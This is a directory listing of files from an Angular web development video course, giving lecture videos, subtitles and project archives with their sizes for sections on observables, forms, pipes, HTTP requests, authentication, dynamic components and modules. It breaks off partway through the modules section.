    13 Understanding Observables/179 obs-01-start.zip 37.25 KB
    13 Understanding Observables/179 obs-02-first-custom-observable.zip 40.91 KB
    13 Understanding Observables/179 obs-03-complete-custom-observable.zip 41.76 KB
    13 Understanding Observables/179 obs-04-operators.zip 38.4 KB
    13 Understanding Observables/179 obs-05-finished.zip 39.18 KB
    13 Understanding Observables/179 Useful Resources & Links.html 1.06 KB
    14 Course Project - Observables/180 Improving the Reactive Service with Observables (Subjects).en_US.srt 6.98 KB
    14 Course Project - Observables/180 Improving the Reactive Service with Observables (Subjects).mp4 36.07 MB
    14 Course Project - Observables/180 prj-obs-01-finished.zip 68.71 KB
    14 Course Project - Observables/180 prj-routing-final.zip 69.43 KB
    14 Course Project - Observables/181 Changed the Subscription Name.html 693 B
    15 Handling Forms in Angular Apps/182 Module Introduction.en_US.srt 1.64 KB
    15 Handling Forms in Angular Apps/182 Module Introduction.mp4 3.81 MB
    15 Handling Forms in Angular Apps/183 Why do we Need Angular's Help_.en_US.srt 2.84 KB
    15 Handling Forms in Angular Apps/183 Why do we Need Angular's Help_.mp4 8.28 MB
    15 Handling Forms in Angular Apps/184 Template-Driven (TD) vs Reactive Approach.en_US.srt 1.49 KB
    15 Handling Forms in Angular Apps/184 Template-Driven (TD) vs Reactive Approach.mp4 3.98 MB
    15 Handling Forms in Angular Apps/185 An Example Form.en_US.srt 1.97 KB
    15 Handling Forms in Angular Apps/185 An Example Form.mp4 9.4 MB
    15 Handling Forms in Angular Apps/185 forms-td-start.zip 18.23 KB
    15 Handling Forms in Angular Apps/186 TD_ Creating the Form and Registering the Controls.en_US.srt 7.08 KB
    15 Handling Forms in Angular Apps/186 TD_ Creating the Form and Registering the Controls.mp4 51.11 MB
    15 Handling Forms in Angular Apps/187 TD_ Submitting and Using the Form.en_US.srt 7.68 KB
    15 Handling Forms in Angular Apps/187 TD_ Submitting and Using the Form.mp4 90.96 MB
    15 Handling Forms in Angular Apps/188 TD_ Understanding Form State.en_US.srt 3.21 KB
    15 Handling Forms in Angular Apps/188 TD_ Understanding Form State.mp4 10.31 MB
    15 Handling Forms in Angular Apps/189 TD_ Accessing the Form with @ViewChild.en_US.srt 3.75 KB
    15 Handling Forms in Angular Apps/189 TD_ Accessing the Form with @ViewChild.mp4 18.92 MB
    15 Handling Forms in Angular Apps/190 TD_ Adding Validation to check User Input.en_US.srt 5.09 KB
    15 Handling Forms in Angular Apps/190 TD_ Adding Validation to check User Input.mp4 26.1 MB
    15 Handling Forms in Angular Apps/191 Built-in Validators & Using HTML5 Validation.html 1.38 KB
    15 Handling Forms in Angular Apps/192 TD_ Using the Form State.en_US.srt 5.71 KB
    15 Handling Forms in Angular Apps/192 TD_ Using the Form State.mp4 27.46 MB
    15 Handling Forms in Angular Apps/193 TD_ Outputting Validation Error Messages.en_US.srt 2.82 KB
    15 Handling Forms in Angular Apps/193 TD_ Outputting Validation Error Messages.mp4 16.08 MB
    15 Handling Forms in Angular Apps/194 TD_ Set Default Values with ngModel Property Binding.en_US.srt 2.96 KB
    15 Handling Forms in Angular Apps/194 TD_ Set Default Values with ngModel Property Binding.mp4 14.74 MB
    15 Handling Forms in Angular Apps/195 TD_ Using ngModel with Two-Way-Binding.en_US.srt 3.22 KB
    15 Handling Forms in Angular Apps/195 TD_ Using ngModel with Two-Way-Binding.mp4 17.6 MB
    15 Handling Forms in Angular Apps/196 TD_ Grouping Form Controls.en_US.srt 3.93 KB
    15 Handling Forms in Angular Apps/196 TD_ Grouping Form Controls.mp4 28.59 MB
    15 Handling Forms in Angular Apps/197 TD_ Handling Radio Buttons.en_US.srt 4.16 KB
    15 Handling Forms in Angular Apps/197 TD_ Handling Radio Buttons.mp4 27.93 MB
    15 Handling Forms in Angular Apps/198 TD_ Setting and Patching Form Values.en_US.srt 5.19 KB
    15 Handling Forms in Angular Apps/198 TD_ Setting and Patching Form Values.mp4 31.33 MB
    15 Handling Forms in Angular Apps/199 TD_ Using Form Data.en_US.srt 5.7 KB
    15 Handling Forms in Angular Apps/199 TD_ Using Form Data.mp4 39.86 MB
    15 Handling Forms in Angular Apps/200 forms-td-final.zip 19.04 KB
    15 Handling Forms in Angular Apps/200 TD_ Resetting Forms.en_US.srt 2.06 KB
    15 Handling Forms in Angular Apps/200 TD_ Resetting Forms.mp4 12.02 MB
    15 Handling Forms in Angular Apps/201 Introduction to the Reactive Approach.en_US.srt 883 B
    15 Handling Forms in Angular Apps/201 Introduction to the Reactive Approach.mp4 2.04 MB
    15 Handling Forms in Angular Apps/202 forms-reactive-start.zip 18.63 KB
    15 Handling Forms in Angular Apps/202 Reactive_ Setup.en_US.srt 3.13 KB
    15 Handling Forms in Angular Apps/202 Reactive_ Setup.mp4 15.83 MB
    15 Handling Forms in Angular Apps/203 Reactive_ Creating a Form in Code.en_US.srt 5.46 KB
    15 Handling Forms in Angular Apps/203 Reactive_ Creating a Form in Code.mp4 20.24 MB
    15 Handling Forms in Angular Apps/204 Reactive_ Syncing HTML and Form.en_US.srt 5.12 KB
    15 Handling Forms in Angular Apps/204 Reactive_ Syncing HTML and Form.mp4 27.22 MB
    15 Handling Forms in Angular Apps/205 Reactive_ Submitting the Form.en_US.srt 2.77 KB
    15 Handling Forms in Angular Apps/205 Reactive_ Submitting the Form.mp4 14.36 MB
    15 Handling Forms in Angular Apps/206 Reactive_ Adding Validation.en_US.srt 3.46 KB
    15 Handling Forms in Angular Apps/206 Reactive_ Adding Validation.mp4 19.35 MB
    15 Handling Forms in Angular Apps/207 Reactive_ Getting Access to Controls.en_US.srt 4.58 KB
    15 Handling Forms in Angular Apps/207 Reactive_ Getting Access to Controls.mp4 57.24 MB
    15 Handling Forms in Angular Apps/208 Reactive_ Grouping Controls.en_US.srt 4.52 KB
    15 Handling Forms in Angular Apps/208 Reactive_ Grouping Controls.mp4 27.01 MB
    15 Handling Forms in Angular Apps/209 Fixing a Bug.html 1.59 KB
    15 Handling Forms in Angular Apps/210 Reactive_ Arrays of Form Controls (FormArray).en_US.srt 8.36 KB
    15 Handling Forms in Angular Apps/210 Reactive_ Arrays of Form Controls (FormArray).mp4 64.26 MB
    15 Handling Forms in Angular Apps/211 Reactive_ Creating Custom Validators.en_US.srt 7.25 KB
    15 Handling Forms in Angular Apps/211 Reactive_ Creating Custom Validators.mp4 53.6 MB
    15 Handling Forms in Angular Apps/212 Reactive_ Using Error Codes.en_US.srt 3.69 KB
    15 Handling Forms in Angular Apps/212 Reactive_ Using Error Codes.mp4 22.08 MB
    15 Handling Forms in Angular Apps/213 Reactive_ Creating a Custom Async Validator.en_US.srt 5.36 KB
    15 Handling Forms in Angular Apps/213 Reactive_ Creating a Custom Async Validator.mp4 67.53 MB
    15 Handling Forms in Angular Apps/214 Reactive_ Reacting to Status or Value Changes.en_US.srt 2.54 KB
    15 Handling Forms in Angular Apps/214 Reactive_ Reacting to Status or Value Changes.mp4 16.82 MB
    15 Handling Forms in Angular Apps/215 forms-reactive-final.zip 18.92 KB
    15 Handling Forms in Angular Apps/215 Reactive_ Setting and Patching Values.en_US.srt 2.32 KB
    15 Handling Forms in Angular Apps/215 Reactive_ Setting and Patching Values.mp4 17.18 MB
    15 Handling Forms in Angular Apps/216 [OPTIONAL] Assignment Solution.en_US.srt 15.81 KB
    15 Handling Forms in Angular Apps/216 [OPTIONAL] Assignment Solution.mp4 118.57 MB
    15 Handling Forms in Angular Apps/216 forms-reactive-assignment-solution.zip 20.03 KB
    16 Course Project - Forms/217 Introduction.en_US.srt 1.38 KB
    16 Course Project - Forms/217 Introduction.mp4 5.04 MB
    16 Course Project - Forms/217 prj-observables-final.zip 71.14 KB
    16 Course Project - Forms/218 TD_ Adding the Shopping List Form.en_US.srt 4.24 KB
    16 Course Project - Forms/218 TD_ Adding the Shopping List Form.mp4 28.53 MB
    16 Course Project - Forms/219 Adding Validation to the Form.en_US.srt 3.14 KB
    16 Course Project - Forms/219 Adding Validation to the Form.mp4 9.31 MB
    16 Course Project - Forms/220 Allowing the Selection of Items in the List.en_US.srt 5.37 KB
    16 Course Project - Forms/220 Allowing the Selection of Items in the List.mp4 27.78 MB
    16 Course Project - Forms/221 Loading the Shopping List Items into the Form.en_US.srt 3.48 KB
    16 Course Project - Forms/221 Loading the Shopping List Items into the Form.mp4 17.61 MB
    16 Course Project - Forms/222 Updating existing Items.en_US.srt 3.9 KB
    16 Course Project - Forms/222 Updating existing Items.mp4 17.79 MB
    16 Course Project - Forms/223 Resetting the Form.en_US.srt 2.82 KB
    16 Course Project - Forms/223 Resetting the Form.mp4 11.39 MB
    16 Course Project - Forms/224 Allowing the the User to Clear (Cancel) the Form.en_US.srt 1.35 KB
    16 Course Project - Forms/224 Allowing the the User to Clear (Cancel) the Form.mp4 6.17 MB
    16 Course Project - Forms/225 Allowing the Deletion of Shopping List Items.en_US.srt 3.42 KB
    16 Course Project - Forms/225 Allowing the Deletion of Shopping List Items.mp4 12.08 MB
    16 Course Project - Forms/226 Creating the Template for the (Reactive) Recipe Edit Form.en_US.srt 5.9 KB
    16 Course Project - Forms/226 Creating the Template for the (Reactive) Recipe Edit Form.mp4 26.95 MB
    16 Course Project - Forms/227 Creating the Form For Editing Recipes.en_US.srt 5.8 KB
    16 Course Project - Forms/227 Creating the Form For Editing Recipes.mp4 24.34 MB
    16 Course Project - Forms/228 Syncing HTML with the Form.en_US.srt 4.38 KB
    16 Course Project - Forms/228 Syncing HTML with the Form.mp4 23.34 MB
    16 Course Project - Forms/229 Fixing a Bug.html 1.27 KB
    16 Course Project - Forms/230 Adding Ingredient Controls to a Form Array.en_US.srt 6.2 KB
    16 Course Project - Forms/230 Adding Ingredient Controls to a Form Array.mp4 34.76 MB
    16 Course Project - Forms/231 Adding new Ingredient Controls.en_US.srt 4.03 KB
    16 Course Project - Forms/231 Adding new Ingredient Controls.mp4 25.94 MB
    16 Course Project - Forms/232 Validating User Input.en_US.srt 5.78 KB
    16 Course Project - Forms/232 Validating User Input.mp4 34.88 MB
    16 Course Project - Forms/233 Submitting the Recipe Edit Form.en_US.srt 8.59 KB
    16 Course Project - Forms/233 Submitting the Recipe Edit Form.mp4 45.37 MB
    16 Course Project - Forms/234 Adding a Delete and Clear (Cancel) Functionality.en_US.srt 5.42 KB
    16 Course Project - Forms/234 Adding a Delete and Clear (Cancel) Functionality.mp4 33.99 MB
    16 Course Project - Forms/235 Redirecting the User (after Deleting a Recipe).en_US.srt 1.67 KB
    16 Course Project - Forms/235 Redirecting the User (after Deleting a Recipe).mp4 16.55 MB
    16 Course Project - Forms/236 Adding an Image Preview.en_US.srt 1.94 KB
    16 Course Project - Forms/236 Adding an Image Preview.mp4 19.48 MB
    16 Course Project - Forms/237 Providing the Recipe Service Correctly.en_US.srt 2.11 KB
    16 Course Project - Forms/237 Providing the Recipe Service Correctly.mp4 31.49 MB
    16 Course Project - Forms/238 Deleting Ingredients and Some Finishing Touches.en_US.srt 3.79 KB
    16 Course Project - Forms/238 Deleting Ingredients and Some Finishing Touches.mp4 42.7 MB
    16 Course Project - Forms/238 prj-forms-final.zip 35.36 KB
    16 Course Project - Forms/238 prj-forms-reactive.zip 35.85 KB
    16 Course Project - Forms/238 prj-forms-td.zip 33.5 KB
    16 Course Project - Forms/239 Deleting all Items in a FormArray.html 988 B
    17 Using Pipes to Transform Output/240 Introduction & Why Pipes are Useful.en_US.srt 2.58 KB
    17 Using Pipes to Transform Output/240 Introduction & Why Pipes are Useful.mp4 5.95 MB
    17 Using Pipes to Transform Output/241 pipes-start.zip 18.4 KB
    17 Using Pipes to Transform Output/241 Using Pipes.en_US.srt 4.24 KB
    17 Using Pipes to Transform Output/241 Using Pipes.mp4 21.22 MB
    17 Using Pipes to Transform Output/242 Parametrizing Pipes.en_US.srt 2.76 KB
    17 Using Pipes to Transform Output/242 Parametrizing Pipes.mp4 9.82 MB
    17 Using Pipes to Transform Output/243 Where to learn more about Pipes.en_US.srt 2.63 KB
    17 Using Pipes to Transform Output/243 Where to learn more about Pipes.mp4 13.07 MB
    17 Using Pipes to Transform Output/244 Chaining Multiple Pipes.en_US.srt 2.73 KB
    17 Using Pipes to Transform Output/244 Chaining Multiple Pipes.mp4 15.54 MB
    17 Using Pipes to Transform Output/245 Creating a Custom Pipe.en_US.srt 8.21 KB
    17 Using Pipes to Transform Output/245 Creating a Custom Pipe.mp4 52.3 MB
    17 Using Pipes to Transform Output/246 Parametrizing a Custom Pipe.en_US.srt 3.32 KB
    17 Using Pipes to Transform Output/246 Parametrizing a Custom Pipe.mp4 16.52 MB
    17 Using Pipes to Transform Output/247 Example_ Creating a Filter Pipe.en_US.srt 8.61 KB
    17 Using Pipes to Transform Output/247 Example_ Creating a Filter Pipe.mp4 45.85 MB
    17 Using Pipes to Transform Output/248 Pure and Impure Pipes (or_ How to _fix_ the Filter Pipe).en_US.srt 5.98 KB
    17 Using Pipes to Transform Output/248 Pure and Impure Pipes (or_ How to _fix_ the Filter Pipe).mp4 22.26 MB
    17 Using Pipes to Transform Output/249 pipes-final.zip 19.5 KB
    17 Using Pipes to Transform Output/249 Understanding the _async_ Pipe.en_US.srt 5.06 KB
    17 Using Pipes to Transform Output/249 Understanding the _async_ Pipe.mp4 54.97 MB
    18 Making Http Requests/250 A New IDE.en_US.srt 1.01 KB
    18 Making Http Requests/250 A New IDE.mp4 2.73 MB
    18 Making Http Requests/251 http-01-start.zip 32.41 KB
    18 Making Http Requests/251 Module Introduction.en_US.srt 1.44 KB
    18 Making Http Requests/251 Module Introduction.mp4 1.34 MB
    18 Making Http Requests/252 Building-a-REST-API.txt 65 B
    18 Making Http Requests/252 How Does Angular Interact With Backends_.en_US.srt 4.11 KB
    18 Making Http Requests/252 How Does Angular Interact With Backends_.mp4 6.58 MB
    18 Making Http Requests/252 http-01-start.zip 32.41 KB
    18 Making Http Requests/252 Securing-JS-Code.txt 61 B
    18 Making Http Requests/253 The Anatomy of a Http Request.en_US.srt 3.34 KB
    18 Making Http Requests/253 The Anatomy of a Http Request.mp4 4.05 MB
    18 Making Http Requests/254 Backend (Firebase) Setup.en_US.srt 3.78 KB
    18 Making Http Requests/254 Backend (Firebase) Setup.mp4 23.02 MB
    18 Making Http Requests/255 http-01-start.zip 32.41 KB
    18 Making Http Requests/255 http-02-post-requests.zip 33.71 KB
    18 Making Http Requests/255 Sending a POST Request.en_US.srt 13.41 KB
    18 Making Http Requests/255 Sending a POST Request.mp4 60.04 MB
    18 Making Http Requests/256 GETting Data.en_US.srt 3.86 KB
    18 Making Http Requests/256 GETting Data.mp4 11.69 MB
    18 Making Http Requests/257 http-03-get-and-transform-data.zip 35.33 KB
    18 Making Http Requests/257 Using RxJS Operators to Transform Response Data.en_US.srt 4.79 KB
    18 Making Http Requests/257 Using RxJS Operators to Transform Response Data.mp4 22.26 MB
    18 Making Http Requests/258 Using Types with the HttpClient.en_US.srt 6.18 KB
    18 Making Http Requests/258 Using Types with the HttpClient.mp4 29.42 MB
    18 Making Http Requests/259 Outputting Posts.en_US.srt 2.52 KB
    18 Making Http Requests/259 Outputting Posts.mp4 12.21 MB
    18 Making Http Requests/260 http-04-loading-indicator.zip 35.32 KB
    18 Making Http Requests/260 Showing a Loading Indicator.en_US.srt 2.88 KB
    18 Making Http Requests/260 Showing a Loading Indicator.mp4 10.79 MB
    18 Making Http Requests/261 Using a Service for Http Requests.en_US.srt 8.23 KB
    18 Making Http Requests/261 Using a Service for Http Requests.mp4 43.86 MB
    18 Making Http Requests/262 Services & Components Working Together.en_US.srt 4.33 KB
    18 Making Http Requests/262 Services & Components Working Together.mp4 20.61 MB
    18 Making Http Requests/263 Sending a DELETE Request.en_US.srt 4.36 KB
    18 Making Http Requests/263 Sending a DELETE Request.mp4 18.46 MB
    18 Making Http Requests/264 Handling Errors.en_US.srt 8.72 KB
    18 Making Http Requests/264 Handling Errors.mp4 60.38 MB
    18 Making Http Requests/265 Using Subjects for Error Handling.en_US.srt 3.11 KB
    18 Making Http Requests/265 Using Subjects for Error Handling.mp4 17.35 MB
    18 Making Http Requests/266 Using the catchError Operator.en_US.srt 2.58 KB
    18 Making Http Requests/266 Using the catchError Operator.mp4 13.97 MB
    18 Making Http Requests/267 Error Handling & UX.en_US.srt 2.76 KB
    18 Making Http Requests/267 Error Handling & UX.mp4 9.46 MB
    18 Making Http Requests/267 http-05-handling-errors.zip 36.2 KB
    18 Making Http Requests/268 http-06-headers.zip 34.1 KB
    18 Making Http Requests/268 Setting Headers.en_US.srt 3.99 KB
    18 Making Http Requests/268 Setting Headers.mp4 19.27 MB
    18 Making Http Requests/269 Adding Query Params.en_US.srt 5.17 KB
    18 Making Http Requests/269 Adding Query Params.mp4 26.61 MB
    18 Making Http Requests/269 http-07-query-params.zip 35.82 KB
    18 Making Http Requests/270 Observing Different Types of Responses.en_US.srt 9.49 KB
    18 Making Http Requests/270 Observing Different Types of Responses.mp4 71.68 MB
    18 Making Http Requests/271 Changing the Response Body Type.en_US.srt 4.1 KB
    18 Making Http Requests/271 Changing the Response Body Type.mp4 22.31 MB
    18 Making Http Requests/272 Introducing Interceptors.en_US.srt 9.11 KB
    18 Making Http Requests/272 Introducing Interceptors.mp4 40.58 MB
    18 Making Http Requests/273 Manipulating Request Objects.en_US.srt 3.01 KB
    18 Making Http Requests/273 Manipulating Request Objects.mp4 14.32 MB
    18 Making Http Requests/274 http-08-interceptor.zip 36.65 KB
    18 Making Http Requests/274 Response Interceptors.en_US.srt 3.57 KB
    18 Making Http Requests/274 Response Interceptors.mp4 19.82 MB
    18 Making Http Requests/275 Multiple Interceptors.en_US.srt 5.96 KB
    18 Making Http Requests/275 Multiple Interceptors.mp4 33.58 MB
    18 Making Http Requests/276 http-09-finished.zip 37.09 KB
    18 Making Http Requests/276 Wrap Up.en_US.srt 2.39 KB
    18 Making Http Requests/276 Wrap Up.mp4 12.4 MB
    18 Making Http Requests/277 http-01-start.zip 32.41 KB
    18 Making Http Requests/277 http-02-post-requests.zip 33.71 KB
    18 Making Http Requests/277 http-03-get-and-transform-data.zip 35.33 KB
    18 Making Http Requests/277 http-04-loading-indicator.zip 35.32 KB
    18 Making Http Requests/277 http-05-handling-errors.zip 36.2 KB
    18 Making Http Requests/277 http-06-headers.zip 1.68 KB
    18 Making Http Requests/277 http-07-query-params.zip 35.82 KB
    18 Making Http Requests/277 http-08-interceptor.zip 36.65 KB
    18 Making Http Requests/277 http-09-finished.zip 37.09 KB
    18 Making Http Requests/277 Useful Resources & Links.html 665 B
    19 Course Project - Http/278 Module Introduction.en_US.srt 1.11 KB
    19 Course Project - Http/278 Module Introduction.mp4 2.48 MB
    19 Course Project - Http/279 Backend (Firebase) Setup.en_US.srt 2.51 KB
    19 Course Project - Http/279 Backend (Firebase) Setup.mp4 15.49 MB
    19 Course Project - Http/280 Setting Up the DataStorage Service.en_US.srt 6.79 KB
    19 Course Project - Http/280 Setting Up the DataStorage Service.mp4 33.23 MB
    19 Course Project - Http/281 Storing Recipes.en_US.srt 8.45 KB
    19 Course Project - Http/281 Storing Recipes.mp4 44.04 MB
    19 Course Project - Http/282 Fetching Recipes.en_US.srt 7.15 KB
    19 Course Project - Http/282 Fetching Recipes.mp4 40.48 MB
    19 Course Project - Http/282 prj-http-01-save-and-fetch-recipes.zip 76.94 KB
    19 Course Project - Http/283 Transforming Response Data.en_US.srt 5.25 KB
    19 Course Project - Http/283 Transforming Response Data.mp4 20.34 MB
    19 Course Project - Http/284 Resolving Data Before Loading.en_US.srt 8.9 KB
    19 Course Project - Http/284 Resolving Data Before Loading.mp4 53.82 MB
    19 Course Project - Http/285 Fixing a Bug with the Resolver.en_US.srt 1.95 KB
    19 Course Project - Http/285 Fixing a Bug with the Resolver.mp4 10.62 MB
    19 Course Project - Http/285 prj-http-02-finished.zip 73.03 KB
    20 Authentication & Route Protection in Angular/286 Module Introduction.en_US.srt 1.12 KB
    20 Authentication & Route Protection in Angular/286 Module Introduction.mp4 892.61 KB
    20 Authentication & Route Protection in Angular/287 How Authentication Works.en_US.srt 6.64 KB
    20 Authentication & Route Protection in Angular/287 How Authentication Works.mp4 6.95 MB
    20 Authentication & Route Protection in Angular/288 Adding the Auth Page.en_US.srt 8.02 KB
    20 Authentication & Route Protection in Angular/288 Adding the Auth Page.mp4 39.99 MB
    20 Authentication & Route Protection in Angular/288 auth-01-auth-component.zip 76.16 KB
    20 Authentication & Route Protection in Angular/289 Switching Between Auth Modes.en_US.srt 5.75 KB
    20 Authentication & Route Protection in Angular/289 Switching Between Auth Modes.mp4 21.93 MB
    20 Authentication & Route Protection in Angular/290 auth-02-auth-form.zip 74.52 KB
    20 Authentication & Route Protection in Angular/290 Handling Form Input.en_US.srt 4.63 KB
    20 Authentication & Route Protection in Angular/290 Handling Form Input.mp4 22.1 MB
    20 Authentication & Route Protection in Angular/291 Preparing the Backend.en_US.srt 4.23 KB
    20 Authentication & Route Protection in Angular/291 Preparing the Backend.mp4 11.86 MB
    20 Authentication & Route Protection in Angular/292 Make sure you got Recipes in your backend!.html 798 B
    20 Authentication & Route Protection in Angular/293 Preparing the Signup Request.en_US.srt 10.96 KB
    20 Authentication & Route Protection in Angular/293 Preparing the Signup Request.mp4 84.98 MB
    20 Authentication & Route Protection in Angular/294 Sending the Signup Request.en_US.srt 5.89 KB
    20 Authentication & Route Protection in Angular/294 Sending the Signup Request.mp4 29.43 MB
    20 Authentication & Route Protection in Angular/295 Adding a Loading Spinner & Error Handling Logic.en_US.srt 8.39 KB
    20 Authentication & Route Protection in Angular/295 Adding a Loading Spinner & Error Handling Logic.mp4 64.31 MB
    20 Authentication & Route Protection in Angular/295 auth-03-signup-request.zip 80.6 KB
    20 Authentication & Route Protection in Angular/296 Improving Error Handling.en_US.srt 6.98 KB
    20 Authentication & Route Protection in Angular/296 Improving Error Handling.mp4 58.61 MB
    20 Authentication & Route Protection in Angular/297 auth-04-added-login.zip 80.55 KB
    20 Authentication & Route Protection in Angular/297 Sending Login Requests.en_US.srt 7.37 KB
    20 Authentication & Route Protection in Angular/297 Sending Login Requests.mp4 44.28 MB
    20 Authentication & Route Protection in Angular/298 Login Error Handling.en_US.srt 5.38 KB
    20 Authentication & Route Protection in Angular/298 Login Error Handling.mp4 47.3 MB
    20 Authentication & Route Protection in Angular/299 Creating & Storing the User Data.en_US.srt 12.47 KB
    20 Authentication & Route Protection in Angular/299 Creating & Storing the User Data.mp4 99.29 MB
    20 Authentication & Route Protection in Angular/300 Reflecting the Auth State in the UI.en_US.srt 12.67 KB
    20 Authentication & Route Protection in Angular/300 Reflecting the Auth State in the UI.mp4 91.27 MB
    20 Authentication & Route Protection in Angular/301 Adding the Token to Outgoing Requests.en_US.srt 12.37 KB
    20 Authentication & Route Protection in Angular/301 Adding the Token to Outgoing Requests.mp4 103.03 MB
    20 Authentication & Route Protection in Angular/302 Attaching the Token with an Interceptor.en_US.srt 9.6 KB
    20 Authentication & Route Protection in Angular/302 Attaching the Token with an Interceptor.mp4 87.21 MB
    20 Authentication & Route Protection in Angular/302 auth-05-added-token-to-requests.zip 85.52 KB
    20 Authentication & Route Protection in Angular/303 Adding Logout.en_US.srt 4.12 KB
    20 Authentication & Route Protection in Angular/303 Adding Logout.mp4 21.02 MB
    20 Authentication & Route Protection in Angular/303 auth-06-logout.zip 79.98 KB
    20 Authentication & Route Protection in Angular/304 Adding Auto-Login.en_US.srt 12.48 KB
    20 Authentication & Route Protection in Angular/304 Adding Auto-Login.mp4 95.92 MB
    20 Authentication & Route Protection in Angular/305 Adding Auto-Logout.en_US.srt 9.61 KB
    20 Authentication & Route Protection in Angular/305 Adding Auto-Logout.mp4 54.37 MB
    20 Authentication & Route Protection in Angular/305 auth-07-autologin-autologout.zip 85.74 KB
    20 Authentication & Route Protection in Angular/306 Adding an Auth Guard.en_US.srt 13.07 KB
    20 Authentication & Route Protection in Angular/306 Adding an Auth Guard.mp4 74.09 MB
    20 Authentication & Route Protection in Angular/307 auth-08-finished.zip 82.04 KB
    20 Authentication & Route Protection in Angular/307 Wrap Up.en_US.srt 2.53 KB
    20 Authentication & Route Protection in Angular/307 Wrap Up.mp4 13.99 MB
    20 Authentication & Route Protection in Angular/308 auth-01-auth-component.zip 76.16 KB
    20 Authentication & Route Protection in Angular/308 auth-02-auth-form.zip 74.52 KB
    20 Authentication & Route Protection in Angular/308 auth-03-signup-request.zip 80.6 KB
    20 Authentication & Route Protection in Angular/308 auth-04-added-login.zip 80.55 KB
    20 Authentication & Route Protection in Angular/308 auth-05-added-token-to-requests.zip 85.52 KB
    20 Authentication & Route Protection in Angular/308 auth-06-logout.zip 79.98 KB
    20 Authentication & Route Protection in Angular/308 auth-07-autologin-autologout.zip 85.74 KB
    20 Authentication & Route Protection in Angular/308 auth-08-finished.zip 82.04 KB
    20 Authentication & Route Protection in Angular/308 Useful Resources & Links.html 836 B
    21 Dynamic Components/309 Module Introduction.en_US.srt 1.28 KB
    21 Dynamic Components/309 Module Introduction.mp4 1.31 MB
    21 Dynamic Components/310 Adding an Alert Modal Component.en_US.srt 8.65 KB
    21 Dynamic Components/310 Adding an Alert Modal Component.mp4 47.52 MB
    21 Dynamic Components/311 Understanding the Different Approaches.en_US.srt 3.34 KB
    21 Dynamic Components/311 Understanding the Different Approaches.mp4 4.53 MB
    21 Dynamic Components/312 Using ngIf.en_US.srt 3.71 KB
    21 Dynamic Components/312 Using ngIf.mp4 31.42 MB
    21 Dynamic Components/313 Preparing Programmatic Creation.en_US.srt 10.93 KB
    21 Dynamic Components/313 Preparing Programmatic Creation.mp4 57.05 MB
    21 Dynamic Components/314 Creating a Component Programmatically.en_US.srt 6.34 KB
    21 Dynamic Components/314 Creating a Component Programmatically.mp4 35.16 MB
    21 Dynamic Components/315 Understanding entryComponents.en_US.srt 7.02 KB
    21 Dynamic Components/315 Understanding entryComponents.mp4 66.69 MB
    21 Dynamic Components/316 Data Binding & Event Binding.en_US.srt 6.22 KB
    21 Dynamic Components/316 Data Binding & Event Binding.mp4 38.53 MB
    21 Dynamic Components/317 Wrap Up.en_US.srt 2 KB
    21 Dynamic Components/317 Wrap Up.mp4 10.51 MB
    21 Dynamic Components/318 dyn-cmp-finished.zip 87.33 KB
    21 Dynamic Components/318 Useful Resources & Links.html 705 B
    22 Angular Modules & Optimizing Angular Apps/319 Module Introduction.en_US.srt 732 B
    22 Angular Modules & Optimizing Angular Apps/319 Module Introduction.mp4 868.41 KB
    22 Angular Modules & Optimizing Angular Apps/320 What are Modules_.en_US.srt 3.02 KB
    22 Angular Modules & Optimizing Angular Apps/320 What are Modules_.mp4 5.79 MB
    22 Angular Modules & Optimizing Angular Apps/321 Analyzing the AppModule.en_US.srt 8.64 KB
    22 Angular Modules & Optimizing Angular Apps/321 Analyzing the AppModule.mp4 94.83 MB
    22 Angular Modules & Optimizing Angular Apps/322 Getting Started with Feature Modules.en_US.srt 11.36 KB
    22 Angular Modules & Optimizing Angular Apps/322 Getting Started with Feature Modules.mp4 109.86 MB
    22 Angular Modules & Optimizing Angular Apps/322 opt-mod-01-feature-module.zip 47.84 KB
    22 Angular Modules & Optimizing Angular Apps/323 Splitting Modules Correctly.en_US.srt 5.42 KB
    22 Angular Modules & Optimizing Angular Apps/323 Splitting Modules Correctly.mp4 29.45 MB
    22 Angular Modules & Optimizing Angular Apps/324 Adding Routes to Feature Modules.en_US.srt 5.2 KB
    22 Angular Modules & Optimizing Angular Apps/324 Adding Routes to Feature Modules.mp4 33.55 MB
    22 Angular Modules & Optimizing Angular Apps/324 opt-mod-02-routing-module.zip 48.29 KB
    22 Angular Modules & Optimizing Angular Apps/325 Component Declarations.en_US.srt 2.34 KB
    22 Angular Modules & Optimizing Angular Apps/325 Component Declarations.mp4 25.34 MB
    22 Angular Modules & Optimizing Angular Apps/326 The ShoppingList Feature Module.en_US.srt 5.48 KB
    22 Angular Modules & Optimizing Angular Apps/326 The ShoppingList Feature Module.mp4 60.98 MB
    22 Angular Modules & Optimizing Angular Apps/327 opt-mod-03-shared-module.zip 48.93 KB
    22 Angular Modules & Optimizing Angular Apps/327 Understanding Shared Modules.en_US.srt 10.49 KB
    22 Angular Modules & Optimizing Angular Apps/327 Understanding Shared Modules.mp4 76.55 MB
    22 Angular Modules & Optimizing Angular Apps/328 opt-mod-04-core-module.zip 48.88 KB
    22 Angular Modules & Optimizing Angular Apps/328 Understanding the Core Module.en_US.srt 7.21 KB
    22 Angular Modules & Optimizing Angular Apps/328 Understanding the Core Module.mp4 33.6 MB
    22 Angular Modules & Optimizing Angular Apps/329 Adding an Auth Feature Module.en_US.srt 5.28 KB
    22 Angular Modules & Optimizing Angular Apps/329 Adding an Auth Feature Module.mp4 30.55 MB
    22 Angular Modules & Optimizing Angular Apps/330 Understanding Lazy Loading.en_US.srt 3.33 KB
    22 Angular Modules & Optimizing Angular Apps/330 Understanding Lazy Loading.mp4 4.07 MB
    22 Angular Modules & Optimizing Angular Apps/331 Implementing Lazy Loading.en_US.srt 15.21 KB
    22 Angular Modules & Optimizing Angular Apps/331 Implementing Lazy Loading.mp4 158.47 MB
    22 Angular Modules & Optimizing Angular Apps/331 opt-mod-05-lazy-loading.zip 95.47 KB
    22 Angular Modules & Optimizing Angular Apps/332 More Lazy Loading.en_US.srt 3.57 KB
    22 Angular Modules & Optimizing Angular Apps/332 More Lazy Loading.mp4 20.33 MB
    22 Angular Modules & Optimizing Angular Apps/333 Preloading Lazy-Loaded Code.en_US.srt 4.54 KB
    22 Angular Modules & Optimizing Angular Apps/333 Preloading Lazy-Loaded Code.mp4 34.26 MB
    22 Angular Modules & Optimizing Angular Apps/334 Modules & Services.en_US.srt 7.52 KB
    22 Angular Modules & Optimizing Angular Apps/334 Modules & Services.mp4 11.5 MB
    22 Angular Modules & Optimizing Angular Apps/335 Loading Services Differently.en_US.srt 10.7 KB
